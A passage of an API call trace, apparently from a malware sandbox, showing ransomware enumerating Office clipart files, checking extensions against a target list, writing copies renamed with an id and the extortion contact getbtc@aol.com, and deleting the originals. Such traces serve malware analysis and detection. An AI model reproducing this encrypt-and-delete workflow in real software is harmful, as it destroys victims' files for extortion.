SetEndOfFile (hFile=0x388) returned 1 [0261.109] CloseHandle (hObject=0x388) returned 1 [0261.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf")) returned 1 [0261.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0261.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0261.145] lstrlenW (lpString=".doc") returned 4 [0261.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.145] lstrlenW (lpString=".docx") returned 5 [0261.145] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0261.145] lstrlenW (lpString=".pdf") returned 4 [0261.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.145] lstrlenW (lpString=".xls") returned 4 [0261.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.145] lstrlenW (lpString=".xlsx") returned 5 [0261.145] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0261.145] lstrlenW (lpString=".ppt") returned 4 [0261.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0261.146] lstrlenW (lpString=".zip") returned 4 [0261.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.146] lstrlenW (lpString=".rar") returned 4 [0261.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.146] lstrlenW (lpString=".bz2") returned 4 [0261.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.146] lstrlenW (lpString=".7z") returned 3 [0261.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0261.146] lstrlenW (lpString=".dbf") returned 4 [0261.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0261.146] lstrlenW (lpString=".1cd") returned 4 [0261.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0261.146] lstrlenW (lpString=".jpg") returned 4 [0261.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0261.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0261.146] lstrlenW (lpString=".doc") returned 4 [0261.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.146] lstrlenW (lpString=".docx") returned 5 [0261.146] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0261.146] lstrlenW (lpString=".pdf") returned 4 [0261.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.146] lstrlenW (lpString=".xls") returned 4 [0261.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.146] lstrlenW (lpString=".xlsx") returned 5 [0261.146] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0261.146] lstrlenW (lpString=".ppt") returned 4 [0261.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0261.146] lstrlenW (lpString=".zip") returned 4 [0261.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.146] lstrlenW (lpString=".rar") returned 4 [0261.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.147] lstrlenW (lpString=".bz2") returned 4 [0261.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.147] lstrlenW (lpString=".7z") returned 3 [0261.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0261.147] lstrlenW (lpString=".dbf") returned 4 [0261.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0261.147] lstrlenW (lpString=".1cd") returned 4 [0261.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0261.147] lstrlenW (lpString=".jpg") returned 4 [0261.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.147] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.147] lstrlenW (lpString="J0107526.WMF") returned 12 [0261.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.148] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=7948) returned 1 [0261.148] CloseHandle (hObject=0x3a0) returned 1 [0261.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf")) returned 0x20 [0261.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.148] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.148] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0261.149] GetLastError () returned 0x0 [0261.149] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1f0c, lpOverlapped=0x0) returned 1 [0261.152] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1f10, lpOverlapped=0x0) returned 1 [0261.153] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.153] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.153] SetEndOfFile (hFile=0x3e0) returned 1 [0261.154] CloseHandle (hObject=0x3e0) returned 1 [0261.154] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.154] SetEndOfFile (hFile=0x3a0) returned 1 [0261.156] CloseHandle (hObject=0x3a0) returned 1 [0261.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf")) returned 1 [0261.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0261.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0261.157] lstrlenW (lpString=".doc") returned 4 [0261.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.157] lstrlenW (lpString=".docx") returned 5 [0261.157] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0261.157] lstrlenW (lpString=".pdf") returned 4 [0261.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.157] lstrlenW (lpString=".xls") returned 4 [0261.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.157] lstrlenW (lpString=".xlsx") returned 5 [0261.157] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0261.157] lstrlenW (lpString=".ppt") returned 4 [0261.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0261.157] lstrlenW (lpString=".zip") returned 4 [0261.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.157] lstrlenW (lpString=".rar") returned 4 [0261.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.157] lstrlenW (lpString=".bz2") returned 4 [0261.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.157] lstrlenW (lpString=".7z") returned 3 [0261.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0261.157] lstrlenW (lpString=".dbf") returned 4 [0261.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0261.157] lstrlenW (lpString=".1cd") returned 4 [0261.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0261.157] lstrlenW (lpString=".jpg") returned 4 [0261.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0261.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0261.157] lstrlenW (lpString=".doc") returned 4 [0261.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.157] lstrlenW (lpString=".docx") returned 5 [0261.158] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0261.158] lstrlenW (lpString=".pdf") returned 4 [0261.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.158] lstrlenW (lpString=".xls") returned 4 [0261.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.158] lstrlenW (lpString=".xlsx") returned 5 [0261.158] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0261.158] lstrlenW (lpString=".ppt") returned 4 [0261.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0261.158] lstrlenW (lpString=".zip") returned 4 [0261.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.158] lstrlenW (lpString=".rar") returned 4 [0261.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.158] lstrlenW (lpString=".bz2") returned 4 [0261.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.158] lstrlenW (lpString=".7z") returned 3 [0261.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0261.158] lstrlenW (lpString=".dbf") returned 4 [0261.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0261.158] lstrlenW (lpString=".1cd") returned 4 [0261.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0261.158] lstrlenW (lpString=".jpg") returned 4 [0261.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.158] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.158] lstrlenW (lpString="J0107528.WMF") returned 12 [0261.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.159] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=6792) returned 1 [0261.159] CloseHandle (hObject=0x3a0) returned 1 [0261.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf")) returned 0x20 [0261.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.159] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.159] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0261.160] GetLastError () returned 0x0 [0261.160] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1a88, lpOverlapped=0x0) returned 1 [0261.172] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1a90, lpOverlapped=0x0) returned 1 [0261.173] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.173] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.173] SetEndOfFile (hFile=0x3e0) returned 1 [0261.173] CloseHandle (hObject=0x3e0) returned 1 [0261.174] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.174] SetEndOfFile (hFile=0x3a0) returned 1 [0261.175] CloseHandle (hObject=0x3a0) returned 1 [0261.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf")) returned 1 [0261.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0261.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0261.176] lstrlenW (lpString=".doc") returned 4 [0261.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.176] lstrlenW (lpString=".docx") returned 5 [0261.176] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0261.177] lstrlenW (lpString=".pdf") returned 4 [0261.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.177] lstrlenW (lpString=".xls") returned 4 [0261.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.177] lstrlenW (lpString=".xlsx") returned 5 [0261.177] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0261.177] lstrlenW (lpString=".ppt") returned 4 [0261.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0261.177] lstrlenW (lpString=".zip") returned 4 [0261.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.177] lstrlenW (lpString=".rar") returned 4 [0261.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.177] lstrlenW (lpString=".bz2") returned 4 [0261.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.177] lstrlenW (lpString=".7z") returned 3 [0261.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0261.177] lstrlenW (lpString=".dbf") returned 4 [0261.177] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0261.177] lstrlenW (lpString=".1cd") returned 4 [0261.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0261.177] lstrlenW (lpString=".jpg") returned 4 [0261.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0261.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0261.177] lstrlenW (lpString=".doc") returned 4 [0261.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.177] lstrlenW (lpString=".docx") returned 5 [0261.177] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0261.177] lstrlenW (lpString=".pdf") returned 4 [0261.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.177] lstrlenW (lpString=".xls") returned 4 [0261.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.178] lstrlenW (lpString=".xlsx") returned 5 [0261.178] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0261.178] lstrlenW (lpString=".ppt") returned 4 [0261.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0261.178] lstrlenW (lpString=".zip") returned 4 [0261.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.178] lstrlenW (lpString=".rar") returned 4 [0261.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.178] lstrlenW (lpString=".bz2") returned 4 [0261.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.178] lstrlenW (lpString=".7z") returned 3 [0261.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0261.178] lstrlenW (lpString=".dbf") returned 4 [0261.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0261.178] lstrlenW (lpString=".1cd") returned 4 [0261.178] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0261.178] lstrlenW (lpString=".jpg") returned 4 [0261.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.178] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.178] lstrlenW (lpString="J0107658.WMF") returned 12 [0261.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.179] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=7072) returned 1 [0261.179] CloseHandle (hObject=0x3a0) returned 1 [0261.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf")) returned 0x20 [0261.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.179] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.179] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0261.180] GetLastError () returned 0x0 [0261.180] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0261.189] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0261.190] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.190] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.190] SetEndOfFile (hFile=0x3e0) returned 1 [0261.190] CloseHandle (hObject=0x3e0) returned 1 [0261.190] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.190] SetEndOfFile (hFile=0x3a0) returned 1 [0261.192] CloseHandle (hObject=0x3a0) returned 1 [0261.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf")) returned 1 [0261.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0261.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 